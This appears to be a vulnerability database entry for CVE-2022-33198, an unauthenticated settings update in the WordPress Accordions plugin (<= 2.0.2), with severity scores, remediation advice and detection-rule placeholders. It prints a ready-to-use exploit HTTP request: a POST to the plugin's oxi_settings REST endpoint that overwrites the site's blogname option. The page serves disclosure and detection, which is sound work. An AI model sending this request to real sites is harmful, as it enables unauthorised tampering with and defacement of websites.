🔙 목록으로 돌아가기

CVE-2022-33198: WordPress Accordions - Unauthenticated Settings Update

TitleWordPress Accordions - Unauthenticated Settings Update
Authorriteshs4hu
SeverityCritical
ImpactAttackers can modify plugin options, potentially leading to site defacement, functionality disruption, or further exploitation.
RemediationUpdate to the latest version of the plugin where the issue is fixed.
CVSS Score9.8
EPSS Score0.37457
CVE IDCVE-2022-33198
CWE IDCWE-264,NVD-CWE-Other
Tags cve2022 cve wp-plugin wp wordpress unauth accordions vuln vkev

🔍 Vulnerability Description

Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari’s Accordions plugin <= 2.0.2 at WordPress.

🌐 HTTP Request

POST /wp-json/oxiaccordionsultimate/v1/oxi_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22malicious%22%7D
GET /wp-json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-33198.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-33198.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A